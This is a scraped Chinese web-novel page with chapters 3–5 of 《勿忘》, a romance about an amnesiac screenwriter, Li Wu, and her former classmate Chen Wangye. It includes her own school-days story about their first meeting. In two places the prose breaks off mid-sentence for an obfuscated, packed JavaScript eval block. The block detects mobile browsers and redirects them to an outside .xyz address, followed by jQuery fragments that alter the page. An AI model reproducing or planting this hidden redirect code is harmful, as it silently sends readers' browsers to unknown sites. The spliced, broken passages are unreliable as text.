《勿忘》 3. 作者·诈尸 - 黎雾再次醒来是在医院,头顶是刺眼的白光,空气中弥漫着刺鼻的消毒水味。 胡桃坐在她床边,见她醒来紧握着她的手,一脸歉意,就差哭出来了,“呜呜呜黎黎你终于醒了!” 黎雾撑着身子坐起来,环顾了一圈四周,下意识想找一个身影,胡桃用脸蛋蹭蹭她的手,“我错了黎黎,你是不是已经见到陈忘野了。” 陈忘野? 哦,那个像死神一样的男人。 “是他送我过来的?”黎雾问。 “嗯,你得急性肠胃炎晕倒了,他送你来的。我和他说你病了,把他赶走了,让他别打扰你。” 胡桃正说着呢,就看见黎雾低头开始扒衣服,上衣的扣子一路解下去,露出内里的蕾丝小吊带,还不停手,她又把肩带剥下,即将春光乍泄之际,被胡桃阻止。 胡桃捂着眼睛笑道:“不至于不至于,我都不好意思了,给我发福利呢。” 黎雾不是在和她闹,她向下扯了下吊带露出左胸口,指指那块纹身,“你看看我这纹的是啥。” 看清那三个字母,胡桃又沉默了。 唉,孽缘。 “你真的不记得他了?”她问。 “你确定我纹的是他的名字吗,我有这么恋爱脑?会把一个男人的名字纹在身上?” 说实话,黎雾有点难以置信,以她对自己的认知她是做不出这种青春伤痛的小学生行为的。 她还不死心,“纹身师说我纹的是‘肠胃炎’。” 胡桃撇撇嘴,实在不想戳穿,“你自己想想,是纹一个男人的名字在身上更癫,还是纹‘肠胃炎’在身上更癫。” 也是,前者好歹还能说明她是个重情义的人。 后者那是,真·耍酒疯。 “好吧,如果纹的是他的名字的话,那估计就是我前一天还记得他,纹完这个纹身,睡一觉第二天起来就把他忘了。” “ohno好残忍,我听不得。”胡桃表情很夸张,捂住耳朵。 黎雾话锋一转:“哦对,你不是说要来家里找我吗,我等了你好久。” 提到这个胡桃就来气,“我去找你的时候,在陈忘野他家楼下被他和陈明清给抓住了,我被陈明清扣住没办法。要不然他怎么会知道你在他家啊,都怪我说漏嘴……” 说到一半,她狐疑地抬头:“陈明清你还记得吧。” 黎雾笑了:“那当然记得,咱仨什么关系啊,从小穿一条纸尿裤长大的。” “那你还记得他是陈忘野亲弟不?” “不记得。。。” 胡桃又对某人产生怜爱了。 “合着你就把他一个人给忘了啊。” 真就是因为他名字里有个“忘”就不吉利呗,首当其冲,出师未捷身先死了。 黎雾云淡风轻地摆摆手,甚至还笑了下,“也不是,我连我爸都忘了。” 她的话说得太轻松,轻松得就像是说,“我昨晚熬夜刷手机今早起晚连早饭的煎饼果子都忘加葱花了”一样无关痛痒。 黎雾从小就这样,给人的第一印象就是“少根弦”,因为思维跳跃花里胡哨,常常被误以为是花瓶笨蛋,但但凡稍微多了解点就知道,她其实内核巨强,刀枪不入,绝不服输。 就和美少女战士里的月野兔差不多,所以他们小时候都叫她黎小兔来着,热烈骄傲,也很有自己的想法和原则,从不妥协。 但现在可能是因为失忆吧,变得有些“淡”,再加上她这些年过得比较辛苦,好不容易赚了些钱,还要赔违约金,别说恋爱了,能活下来都算很坚强了。 “算了先不说这个了。”胡桃才想起重点,“哦对你怎么跑到他家去了啊,我按照你给我发的地址去找,我都不知道那是陈忘野他家。” 黎雾也懵:“我也不知道啊,我以为那是我家…” 她试探着问:“所以他是我前男友?” “你们俩的事可不是一句‘前任’就能简简单单概括的。”胡桃啧啧舌,“你都不知道他这些年怎么过的,跟个机器似的。” “真的看他我就知道了,有的人,活着还不如死了。” “等下,我突然想到一个很重要的问题。”黎雾猛地抬手,“不是我煞风景啊,也不是我有职业歧视啊,他不是在当驻唱歌手吗,还过得生不如死,不会是因为很穷吧。” 她顿了顿,选了个合适的措辞:“我的意思是,他不会比我还穷吧,我已经欠了一屁股债了,可不能再沾上个比我还穷困潦倒的前男友。” “他现在看我那么恨,不会是我以前欠他钱吧,还是他想找我借钱?” 胡桃又是鼻子一抽,“黎黎,你是真的什么都不记得了啊。” 她想了想,手撑在床上,调整了个舒服的姿势,决定从头开始娓娓道来。 “他是高二下学期转到咱们学校的,他一来就是校草,当时那叫一个轰动啊,好多低年级的女生都来看他,哦不止低年级,还有高三的学姐过来看他,给他送零食送可乐……” “能不能讲重点啊。”黎雾打断。 胡桃清清嗓子:“哦,他学习还特好,即将威胁到你的地位,然后你看他不爽就想搞他。” “要我说陈忘野是什么人物啊,杀人不眨眼的大反派,谁敢惹他啊,你别看他长得白白净净的,心可黑了。” 黎雾蹙眉:“大反派?我怎么看着不像呢。大反派那么脆弱啊,动不动眼睛就红,跟受了天大委屈似的。” “眼睛红?那是杀红眼了吧。尤其是这几年他在公司里大刀阔斧叱咤风云,横扫黑恶活力无限,要不然能让那家公司那么快起死回生吗。” “等下,咱们一件一件说啊。”信息量有点大,黎雾听得云里雾里,先挑了两个关键词重复了一遍,“我看他‘不爽’,就想‘搞’他?我天我这么幼稚吗,高中生这么幼稚吗。” “别带别的高中生啊。”胡桃摇头,皱皱鼻子,指着她,“就你比较幼稚,你俩都幼稚。” 转念一想,她又觉得这话不严谨,“但我觉得其实你也不是看他不爽,你是看他太爽了,你就是单纯想搞他。” 黎雾受不了了,“桃,你讲故事能不能有点逻辑啊求求你了。” “不是我没逻辑啊,是你们俩故事就是这么错综复杂啊。” 黎雾耐着性子:“所以后来我们俩在一起了吗,为什么分手啊。” “当时本来是你和你表哥在争继承人的位置,后来怎么就落他手里了,谁让你们两家非要合伙呢,出事儿了,死都是一起死。” “但其实他根本就不想接手那个公司的,尤其是后来成了那个烂摊子,谁愿意接啊。” 兴致一上来,胡桃语气都激昂,唾沫星子横飞,“他那么放荡不羁爱自由的一个人,被绑在那个位置,逃又逃不掉,死又死不了。” “什么继承人?”黎雾问。 …… 聊到一半,手机叮咚一声提醒。 “黎黎,你更文啦?”胡桃抬眼。 手机上蹦出一条弹窗。 ——「您收藏的作者“雾非雾”刚刚更新了文章,快来追更吧~」 黎雾瞥到消息,瞪圆了眼睛。 什么玩意儿?? 谁??? ????????????? 谁更了新文??! 难以置信。 ——她那个忘记密码的作者号诈尸了。 - 天光已经大亮,雪停了,窗外白茫茫一片,树梢上挂着厚重的积雪,风一吹,簌簌落下。 黎雾在医院简单洗漱了下,换上了胡桃给她准备的换洗衣服,又画了个淡妆,脸上总算恢复了点血色。 今天是她和影视公司约谈的日子,剧本交不上去,让她发疯装傻下跪求饶怎么都行,只求他们能再多宽限两天。 天杀的,不知道的还以为她是借了高利贷的失足少女呢。 黎雾想了想还是把口红擦了,这样显得更楚楚可怜一点。 一个小时后,Redbean影视的会客室里。 黎雾抽着鼻子,轻咬下唇,眼眶泛起一层薄薄的水雾,她低下头,睫毛颤动,像是在努力克制即将夺眶的泪水。 “实在抱歉,我得了重病,身体状况不好支撑不了写文。我的密码忘了,也登不上网站拿不到存稿,能不能再给我些时间。” 对面和她对接的是个年纪很轻的员工,没见过这场面,显然是被她唬住了,他放轻了声音,试探问:“密码不能找回吗。” 黎雾摇摇头,声音细若蚊蚋,“不行,我所有方法都试了…而且我手机号因为好多年没用已经被注销了,验证码也收不了,真的登不上去…” “你等等啊,我去帮你问问。” “好…” …… 工作人员一走,黎雾就累得瘫倒在椅子上。 业内都知道,作者们为了拖稿可谓是无所不用其极。说自己病了的,残了的,误食了毒蘑菇的,怎么惨怎么来,但像她这样说自己失忆的估计还是头一遭,倒是新鲜。 这些传媒影视公司的人都是人精,可没那么好糊弄,黎雾也知道刚刚就是个热身,接下来才是重点。 屋内空调机嗡嗡作响,暖风哄得空气格外干燥,人心也浮躁。 等了好久人还没来,黎雾在会客室里坐立不安,等得焦心,她坐直身子重新调整了状态,低头又酝酿了一会儿情绪。 听到“吱呀”一声,门刚一被推开,她的眼泪就夺眶而出。 “行了,别演了…”一道冷淡的男声响起。 “你这演技也就骗骗实习生。” 泪眼婆娑中,黎雾猛地抬头,看到了一张熟悉的脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067444|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 靠,真tm是死神他娘给死神开门。 死神到家了。 怎么又是他。 眼泪流到一半,还粘在脸颊上,流又流不回去,掉也掉不下来,很尴尬。 黎雾呆愣在原地,见陈忘野侧身很好心地抽了张纸巾递到她手里,语气还是很欠揍:“擦擦?妆都化了。” 他今天穿得还算正式,黑色西装外套内搭了件白T,松松垮垮扎进腰间,领口微敞着,腰间一条皮带,配上一条水洗蓝的宽松牛仔裤,衬得整个人肩宽腿长。 穿着不用力,甚至称得上简单,无奈气场太强,那松弛感,一点班味儿都没有,倒像是来走秀的。 “所以这才是你本职工作,你是这儿的实习生?”黎雾挑眉问。 “我是来视察的。”陈忘野语调淡淡,像在敷衍。他扯开椅子坐下,向后懒洋洋地靠在椅背,从桌上拿过她的资料,低头随意翻看着。 黎雾就当他是在幽默,“okk你是大少爷驾到,闲杂人等统统闪开。” 在国外多年,黎雾对国内的科技娱乐动向不甚了解,来之前特意了解过这家公司。 Redbean,又名“相思子”,前身是家在线社交网站,在经历了封禁、改革、重启等一系列风浪后,近年来依托5G技术和人工智能的发展,探索元宇宙与虚拟社交领域的结合,成功转型为一家专注于情感陪伴的科技社交平台。 业务范围从AI复刻情感陪伴,到AI虚拟角色扮演社交,情感疗愈与心理支持,始终围绕“跨时空的真实陪伴”这一核心理念。 最近他们新收购了一家影视公司,改名Redbean影视,美其名曰将科技与艺术创作结合,探索虚拟制作与交互式电影的未来,其实就是换种营销方式,进一步为公司打广告罢了。 这家影视公司隶属于总部,虽然算不上大厂,也是家极具未来性的传媒科技公司,地理位置绝佳,工资又高,各大高校学生光是想进来实习就要挤破头了吧。 陈忘野也不接她的阴阳怪气,不冷不热地看她一眼,状似不经意地问:“你身体好些了吗?” “哦,昨晚谢谢你…我在医院住了一晚好多了。” “那就好。”他直起身,像是悬着的心终于落了地,眉眼稍微舒展开来,姿态闲散,把桌上的水杯推到她面前,“多喝点水。” “谢谢。” 陈忘野靠回去,气定神闲地又翻了会儿资料,缓慢抬眼,“你就是‘雾非雾’?” 黎雾差点都忘了正事,清了清嗓子,语调放轻柔:“是的,你也知道,我最近状态不好,这个剧本能不能再通融通融…” “这篇小说是赛博悬疑,这种高概念超现实的文,不是坐在那里随便水一水就能写得下去的…” 话还没说完,他忽地打断她,拿出手机翻了翻,“是吗,我看你状态挺好的啊,我听他们说你刚刚才更了一篇新文。” 他点开某绿色软件,在搜索栏里搜索她的笔名,界面上出来她最新更新的小说,名叫《勿忘》。 陈忘野随手翻了翻,不看不要紧,这一看脸色肉眼可见的越来越黑,他抬眸,额角一跳,这次是真觉得荒唐:“黎雾,你几个意思。” “什么几个意思?”黎雾也愣了。 刚刚在医院她刚想点开那条更新消息手机就没电关机了,等她洗漱完就把这件事彻底抛之脑后了。 她点开软件看了看文章的更新时间,能猜个大概。之所以她忘了密码还能发文,是因为她把文章存在了存稿箱,设置了自动发送。 这是篇新文,才更了3章。和她之前扣人心弦层层递进无限反转荡气回肠的悬疑小说风格大相径庭,这是篇校园文,颇有种青春伤痛文学的意味。 黎雾抬眼,眼看着陈大反派脸上的平静一点点裂开,“黎雾,我认真的,你要是真得了什么大病该治病就赶紧治病,倒也不用整这么多花招来折磨我。” 松弛褪去,他的脸上浮现出淡淡的“杀意”,阴暗得快要长出毒蘑菇了:“我知道你是真的把我忘了,但你看这个都想不起来我们曾经发生过什么吗。” 他接着看,拳头握紧,手臂上青筋暴起,憋了半天实在忍不住吐槽:“不是你写就写,还把人名改成这样。” “李勿和陈旺旺,不知道的还以为是村头哪个彪形大汉和他家的野狗呢。” 黎雾低头仔细瞧了瞧,无辜地眨眨眼:“这不是陈旺野吗,也不是陈旺旺啊。” “重要吗?”他扯出一个微笑,阴测测的。 “哈哈……” 黎雾终于后知后觉地回过味儿来,念出来才发现,这人名怎么这么耳熟。 哦艹。 这TM。 写的是。 他们俩的故事啊。 ? ????????? !? 4.失足·少年 - 其实黎雾写作这么多年,向来是没有重读自己写的故事的习惯的,一是没时间,二是太尴尬。 再加上她这个人好新鲜,自己写的文,她从大纲到走向全都了然于胸,读起来自然是没什么乐趣,只剩下挑刺。 但这次就不一样了。 明明每个字都是自己写的,却像是在读别人的故事。 她起初也怀疑是网站出bug了,可这行文中透出的熟悉感太强烈,即便文体不同,但她可以从笔触和细节断定,这篇文千真万确出自她手。 内容却毫无印象。 眼前人的脸黑得不能再黑,她却只想笑。 人活得时间久了,还真是什么稀奇古怪的事儿都能遇上。 难不成她还真写了篇小说纪念自己死去的爱情? 失忆和小说都来得太突然,又太刻意。 要不是真切发生在眼前,她甚至会以为自己是穿进了某些低成本烂剧,出演些俗套又无逻辑的剧情。 既然陈忘野说这篇文是写的他们俩的故事,她读的时候自动就把人名替换了。 小说只更了前三章。 …… - 《勿忘》【chapter.1 失足·少年】 - 高二下学期的返校日,那天是个雪天。 天色很阴,透着淡淡的青色,密密麻麻的雪花像柳絮般在空中打着旋儿。 黎雾裹紧了厚实的羽绒服,呵着冻得发红的手指,蹲在校门外的一处角落。她面前是个破旧的纸盒子,一只小流浪猫正蜷缩在里面。 雪花落在猫咪身上,扑扑簌簌粘在毛尖。 小猫的长相很特别,浑身的毛发都是白的,只有脸颊中间有些黑,像是个漏了馅的黑芝麻汤圆。 所以她给它取名叫做“汤圆”。 汤圆的胆子挺小的,很怕生人,之前每次看到她都跑,她也是喂了它好多次后,它才终于和她熟悉起来。 今天小猫的心情似乎格外好,凑脑袋过来蹭了蹭她的手背,身子小小缩成一团,眼睛却是明亮的。 被小猫蹭过的手背泛着些暖意,转瞬被冷空气带走。 黎雾搓了搓手心,心想天气实在是太冷了,这次不管怎么说她都得想办法把它带回家了。 它怕是熬不过这个冬天。 …… 时间还早,校门外还没有学生。 黎雾和小猫告别后绕到了学校后门的小卖铺,准备去买点早饭。 这已经成了她每天固定的日常,第一个到校,第一个进班,第一个在校门外厚厚的积雪上,留下属于她的清晨的第一串脚印。 她总是很享受这份独处。 整条小径空无一人,只有漫天飘落的飞雪,和她啪塔啪塔的脚步声。 但今天似乎有些不同。 有人把她的雪踩脏了。 与此同时,在小路的尽头,她见到了一个男生。 …… 那男生约莫17、8岁的模样。 身材高大,轮廓分明,五官生得极好。 黑色外套松松垮垮地披在肩上,露出里面深色的毛衣。他靠在墙面,低头点了支烟,吸了一口,吐了个烟圈。 大雪纷飞中,一切都显得格外安静。 突然,他蹭了下唇角,像是想到了什么好笑的事,低头开始笑。笑得眼角都皱了,神情却是悲伤的,额前的碎发在眼尾垂下一片阴影。 他笑着笑着开始咳嗽,止不住地咳,仰起头顶在墙面,眼睛鼻尖都红。 黎雾愣了下,脚步顿在原地。 注意到这边的动静,他的目光偏过来。 眼神对上。 他的唇角还挂着没来得及收回的笑,眸色却很沉也极冷淡。 明明浑身上下都透着颓废的要死不死,放荡不羁的气质,竟是硬生生叫她从眉眼中看出了一丝属于少年人的傲气。 像是常年埋在积雪下倔强的野草,烧不尽,等一场春风。 真是大雪天眼睛都被冻坏了,黎雾皱了皱眉,收回目光。 返校日的一大早在校门口抽烟能是什么好人。 单纯的“失足少年”杀伤力还小点,要是个小混混,多看一眼她都怕他冲上来抓她领子,凶一句“你瞅什么瞅”。 她目不斜视地绕过他进了小卖部,径直走到冷柜前选了瓶牛奶,拿去柜台结账。 柜台前没人,她左右张望了半天没看到老板,忽然听到门口有人在嚷嚷。 她把牛奶放在柜台桌子,循声出去,看到刚刚那个“失足少年”此刻正被一个面容粗犷的中年男人揪着领子。男人的脸因愤怒而涨得通红,粗短的手指紧紧攥着他的衣领,指节都泛了白。 他态度很横,吹胡子瞪眼地嚷嚷道:“是不是你,我就说我这小卖部老丢东西,你小小年纪不学好学别人偷东西是吧!” “总算是让我抓着你了,给我赔钱!” 那男生也不说话,就保持着那副散漫的姿态靠在墙上,任由他抓着,原本松垮的外套因为被揪住而绷得笔直。 他个子比中年男人高,自上而下,眼神冷漠地垂下来。 阴影笼罩,反倒有种居高临下的压迫感。 被捉的人姿态不卑不亢,甚至有点嚣张,反倒叫捉贼的人心虚。 中年男人仰起头,挺直身子增了几分气势,抓着他领子的手又拧紧了些,威胁道:“快点,把钱赔了这事儿就过去了,不然我可叫警察啊。” 少年嘴角一扯,垂眼看他,那神情傲慢得像在看个笑话,终于张了金口吐出两字,淡淡的:“叫吧。” 什么??? 黎雾还以为自己听错了,两眼一黑,心说这是哪来的Bking啊,警察来了搞不好她还得作为目击者被叫去问话,影响她上学。 什么叫起个大早赶个晚集。 她每天早上都走这条路,但来这家小卖部的次数不多,不过这中年人的确看着面生,也不像之前的店长。 一触即发的场面,黎雾看不下去了,心一横,往前迈了几步,开口:“大叔,给人定罪要讲证据的吧,你有看到他拿东西吗。” “证据?”中年人瞥了她一眼,语气不耐,指着少年手中快燃尽的烟头,“这烟不就是吗。” “不是,哪有人偷了东西就光明正大地站在你店门口抽啊,生怕不被抓?”她指指店里的监控,“你这不是有监控吗,看一眼不就知道了。” 男人甩了甩手,明显是赶她走,“我这监控没开。” “啊?你店里经常丢东西你还不开监控啊。” “你小姑娘别多管闲事。” 男人似乎急了,神情有些慌乱,矛头重新对回那男生,他回过身揪着他领子,恶狠狠地咬紧牙关,“快点赔钱听到没有,不然叫你们学校老师过来,高中生抽烟,看看学校给不给你记过!” 黎雾早就觉得不对劲,一早就拿出手机录像,刚好录下了这段。 见他扬手要打,她赶紧大喊,上前伸手就要拦:“诶诶诶!说话就说话别动手,这可都是证据啊,一会儿警察来了也有个交代。” 动静闹得不小,从小卖部的休息里屋又冲出来个男人,这次是黎雾见过的店长,他和面前这个不讲道理的中年男人有七分相似,两人大概是兄弟。 他三步并作两步冲到中年人面前,二话不说揪住了他耳朵,“我就让你帮我看十分钟店,又开始给我搞事!” “抢学生的钱算什么本事,给我进来!” …… 中年人走了,店外就只剩下黎雾和那男生。 一般好学生遇到混混早就扭头跑了,黎雾可不是,就站在原地,抬头和他面面相觑,大眼瞪小眼。 沉默像一滩死水。 寒风卷着雪花在两人之间打转,她看见雪花悄然落在他的睫毛上,很快又被体温融化。 过了半晌,黎雾先往死水里投了颗石子,打破平静:“你都不跟我说‘谢谢’?” 少年盯着她看了一会儿,唇角一扯,没有半点道谢的意思,竟然还轻微地哼了一声,那意思分明是在说—— “多管闲事”。 他手里的烟头还在烧,烟雾缭绕,黎雾被呛得咳了声,下意识退了一步。 离污染源远了些,没想到一阵妖风袭来,烟草味又一次扑面而来,直冲鼻腔。 黎雾抬手在眼前胡乱扇了扇风,忍无可忍,仰头张口就来,语气很直白:“太呛了,你先把烟掐了行吗,我不喜欢男生抽烟。” 她整个人一副娇滴滴小公主的架势,上来就命令别人,语气还不善。 可这男生也不是认人发号施令的主,嗤笑了一声,面无表情地垂眼看她,态度挺恶劣:“你喜不喜欢和我有关?” 这么没礼貌。 黎雾刚想张口理论两句就见他低头掐灭了烟,像是不想和她过多纠缠,他话锋一转,下巴扬起指着店面的方向,语调悠悠:“那人是惯犯了。” “什么?”黎雾愣了下。 “昨天他就是这么要挟的几个学生,要么给钱,要么就叫校长,抽烟记过。” 他目光向下瞥,落在她附中的校裤上,又慢条斯理地补充了句:“你们附中的‘好学生’都这么虚伪?敢做不敢当,为了个抽烟被人打劫也是够寒碜的,就这么怕被抓?” 黎雾才听明白前因后果,点点头,思路比较跳脱,“那这打劫的大叔还挺有个性,挺会看人下菜碟,上来就诬陷你偷东西,都不说抽烟的事。” 威胁个区区违反校规都怕镇不住你,直接给你上升到违法犯罪。 没想到是这角度,那男生也愣了,过了半天他才回过味来,扯了下嘴角,皮笑肉不笑,眉梢微挑:“你是想说我不像好学生?校长治不住我,得警察才能治?” 这指控黎雾可不承认:“我是想说他胆子还挺大,就找找我们附中的怂蛋多好,何必非要冒这个险讹你呢,多得不偿失啊。” 他明显是听出了她的阴阳怪气,也不跟她计较,从鼻间嗤出一声笑,语气中多了些调侃,眼神依旧是冷漠的,“没办法,怪我看起来太富了呗。” …… 时间不早了,黎雾没功夫再和他闲聊。 走在校园里,雪花纷纷扬扬地落在肩头,她脑子里都是那个倚墙而立的身影,越想越不对劲。 这人明知道那店主弟弟爱讹人,还非要选他家店门口抽烟,什么心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074320|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态? 等等...... 她脚步一顿。 他那副吊儿郎当的样子,就是明晃晃地告诉对方:"来啊,来讹我啊。" 还有那看好戏的表情、胸有成竹的态度… 她突然冒出个念头。 …这小混混不会是来行侠仗义的吧。 她不会间接。 哦不,直接地阻碍了人家装逼吧? - 路上耽误了点时间,到学校已经快七点了,班里人不多,黎雾拿出英语书开始晨读,没多久胡桃就来了。 胡桃和黎雾从小一起长大,比亲姐妹还亲,见黎雾在忙,她半天没敢打扰,头探过来又缩回去,缩回去又探过来,来来回回几次,黎雾实在受不了了,“桃,有事说事。” “我这不是怕打扰你学习嘛。”胡桃讪笑,悄咪咪地凑过来,“我刚刚路过数学办公室,偶然听到老郝在和其他老师聊天。” 黎雾没抬眼:“聊什么?分班考的事?” “诶呀!你别说这么可怕的东西。”胡桃捶了她一下,摇摇头,继续卖关子,“不是。” “那还能是什么?”黎雾接着猜,“分班考之后陈明清能不能回咱们班的事?” “啊啊啊啊我都说了不是分班考的事了!别老吓我。” 也不怪胡桃紧张,知夏附中不仅在本市,在全国都是数一数二的学校。 而她们现在所在的“1班”则是附中最好的班级,历年高考平均分686,半数以上是竞赛生,每年光凭竞赛就能保送一大半人进Top2。 这里被誉为全市学子最遥不可及的象牙塔,踏进来就等于半只脚已经踏入了清北。 而决定你能不能进1班的,就是这每学期一次的分班考试。 轮换制,简单粗暴,全凭成绩。谁进了年级前五十谁就进来,出了就换班。 “不是分班那是啥啊?” 胡桃压低声音:“我听老郝说的,咱们学校要来一个转校生。” 黎雾兴致缺缺:“哦。” “这不是重点,重点是,”胡桃凑到她耳边,故弄玄虚,话语间却难掩喜悦,就差乐开花了,“他说,要来一个校草级别的转校生。” “哦。” 胡桃撅嘴,音量不自觉大了些,“你怎么一点反应都没有啊,你听到了没啊!” 黎雾语调淡淡:“听到了啊,校草级别的转校生。” “黎黎你不是最喜欢帅哥了吗。”胡桃戳戳她胳膊,“不会学习学傻了吧,对帅哥都没兴趣了。” “有兴趣啊,谁不爱帅哥。” 黎雾的英语已经读完,从桌洞掏出卷子准备再刷两道古文,得空凑过来,“但你知道在你所谓的那个校草级别的转校生来之前,咱们学校的校草是谁吗?” “是陈明清啊!陈明清。” “你说说他,帅吗?” 黎雾撇撇嘴,继续吐槽,“他那五官是长得还凑活,但脑子不好使就算了,气质还猥琐,一天天除了打游戏就是八卦,要么就是偷偷摸摸看片儿。” “就这样都能被封上校草,这就是男人的现状,基本盘,差。” 也不怪她对“校草”这样的词祛魅了,被簇拥在光环里,被期待的外表下却是与光环不相符的平庸。她曾经也以为,外表和内在是可以统一的,像书里的英雄那样:长得好看,头脑聪明,还心怀正义。 但现实表明,皮囊往往是最容易被注意的,却也是最容易让人忽视其他一切的。 “非要说帅的,也就剩下……” 黎雾脑海里飘过今早小卖部门口吞云吐雾的男生,那气质和脸蛋确实是没得说。 只可惜,小小年纪,就失足了。 “算了,不重要。” “呜呜呜你说的有道理,这学校真就是没一个帅的啊,无聊,高中就这么无聊吗啊啊啊啊啊啊啊。”胡桃仰天长啸一声后,彻底放弃了抵抗,“算了,我也学习。” 两人继续埋头苦读,没注意已经八点了,上课铃忽地响起。 今天没课,返校日的安排就是交作业发新书,和分班考。 整个教室安静下来。 黎雾没抬头,听到台上班主任老郝清清嗓子,“跟大家介绍一下,咱们学校新来了个转校生,这两天返校和摸底考就先坐在咱们班。” 周围有倒吸一口凉气的声音,最大的一声来自她的旁边。 “我□□□□□□操。”胡桃压低声音伸着胳膊过来疯狂拍桌,“这也太tm帅了,我靠,我都不敢看。” “行,要不做个自我介绍。”老郝说。 黎雾抬起头,看到一个熟悉的身影,没穿校服,一身黑衣黑裤。 少年站在那里不可一世的模样,松松垮垮有点懒散,在一众直勾勾的目光和微弱的抽气声中,他低头扯了扯领子,似是不习惯这个场景。 环顾一圈,和黎雾目光相撞的瞬间,他愣了一秒,嘴角微不可察地勾了下,转瞬恢复了淡漠,仿佛是错觉。 过了半晌,他才终于张了口,还是一如既往的言简意赅,简简单单三个字,音调清晰。 目光没移开,像是在对她说。 “陈忘野。” 5.女友·有不 - 《勿忘》【chapter.2 不管·早恋】 - 班里就只剩下黎雾后面最后一个座位。 她坐在靠窗倒数第二排,他径直走过来,目光没和她接触,在她身后“吱呀”一声拉开椅子,坐下。 这是全班最角落的位置。 教室前方,班长和课代表正在发新书,课本顺着前座一个接一个向后传过来。黎雾坐在座位边等新书边想,他怎么自我介绍这么简短,就说一个名字。 真是把Bking人设贯彻到底。 算了。 反正他也在1班留不下,分班考试结束估计就走了,介绍那么多也是浪费口舌。 从他坐下到现在,他们俩没多说一句话。早上闹得不太愉快,他俩脾气又一个赛一个的倔,谁先说话谁尴尬。 反倒是胡桃,仗着地理优势,近水楼台先得月,歪着个脖子往后看,叽叽喳喳问了他一堆问题。 他的回答也极简短,每次不超过三个字。 音调懒懒散散,起初还给点面子,偶尔捧捧场,好心地不让你把话掉下去,到后来基本就是个敷衍。 总结下来就是,有点礼貌,但不多。 胡桃笑嘻嘻地回头,倾身过去,敲了下他桌子:“同学,你知道不,我们学校转校生特别特别少见,你还是我见过的第一个。” 陈忘野语调轻缓:“是吗。” “我跟你说,想进我们学校就两种办法。要么就是一路靠成绩厮杀,要么就是一路靠爹厮杀。” “要想中途插班进来,”胡桃说话自带音效,吸了口凉气,狐疑地问,“你爹不得是个惊天地泣鬼神的达官显贵啊。” 他笑:“不至于。” “哦,那我想想,那一般就得靠叠buff。你是从国外回来的?” “嗯。” “哇竟然被我猜中了,美国?” “嗯。” “你中文说这么好,应该不是从小就在国外吧?” “嗯。” “前几年去的?” “嗯。” “哦,那你现在又回国是爸妈安排的?” “嗯。” “唉,真好。你爸妈肯定是有钱又有势,长得又好看。哦对,你有兄弟姐妹不。” “嗯。” 他的语气是从一而终的散漫,乍一听漫不经心,但其实都是认认真真听完问题,隔了几秒,思考过后才答的。 是真实的作答,而非随便的应声。 “弟弟?”胡桃接着问。 “嗯。”他答。 “太好了!”胡桃一下子就来兴致了,语调高了不少,也不扭着头看他了,直接把椅子转了120度,朝他的方向挪了挪,“哪天把你弟弟介绍给我吧。我这人没啥爱好,就喜欢吃嫩草。你们俩是差三岁以内吧?” “嗯。” 胡桃猛地一拍大腿:“可可可可可,你这么帅,你弟肯定也差不了!你个子这么高,得185+吧?” “嗯。” “你喜欢运动不。” “嗯。” “那你有腹肌不?” “嗯。” “胸肌呢?” “嗯。” “肱二头肌呢?” “嗯。” 话题走向逐渐跑偏,黎雾冷汗都快下来了,这俩人真是一个敢问一个敢答。 估计他也是被人查户口查得耐心耗尽了吧,连着回了十几个嗯。她真怕胡桃一会儿顺着问下去,问他内裤颜色是不是粉的,他都来句“嗯”。 刚一抬头,听见胡桃冷不丁问了一句:“哦,那你有女朋友不。” 黎雾突然后悔抬头了,这时候抬头,就好像她是专门为了听这个问题的答案才抬头的。 听到后面人调整姿势衣料摩擦的细微翕动,她犹豫了一下,就这一秒就错过了最佳时机,这时候把头低下去反而更刻意。 正好新教材从前往后传到她手里,还剩最后一本,她接过课本顺势回过身,抬眼,刚好对上他似笑非笑的眼神。 他看着她眼睛,微不可察地挑了下眉梢,满眼写着“你还挺好奇?”。 陈忘野抱着手臂,不紧不慢开口,这次的回答不是“嗯”,甚至很难得地超过了三个字,语调慢条斯理,还故意顿了个句。 “那倒是,还,没有呢。” …… “你的书。”黎雾无奈,面无表情地把书放他桌上,迅速回身,生怕他以为她真好奇他的答案。 身后传来他懒懒的一声,“谢了。” 原来这个人会说谢谢啊,所以早上怕不是真抢了他行侠仗义的机会,他态度才那么差,现在还装没见过。 刚刚回身的瞬间,黎雾看清了他桌上的配置。 和她一前一后,却像两个极端。 黎雾整个人花里胡哨的,桌上摆着各式各样花花绿绿的本子水笔,毛绒绒的笔袋,亮晶晶的笔筒,几个小玩偶坐在桌边,甚至还有盆迷你多肉点缀。 周身像冒着彩虹泡泡。 而他整个人都是黑白的,黑鞋黑裤,黑色运动衣的外套拉链松松垮垮拉开,里面是件黑毛衣。 一身黑,皮肤却极白,对比分明。 再次回身递新书时,她没忍住看着他说,“你好像个太极八卦图啊。” 陈忘野:“……” 他歪头绕过她身子,瞥了眼她的桌面,慢悠悠问:“那你是什么,七仙女?花仙子?还是巴啦啦小魔仙?” 两个人风格都强烈,气场也强势,谁也没让谁。 “……” 黎雾没理他,转回身。 心说,真是跟你们没品味的男人聊不了一点。 …… 书发齐了,她开始一本接一本地包书皮,包得很精致,每本都仔仔细细地用彩笔写了名,还贴上了花里胡哨的胶带。 大功告成后 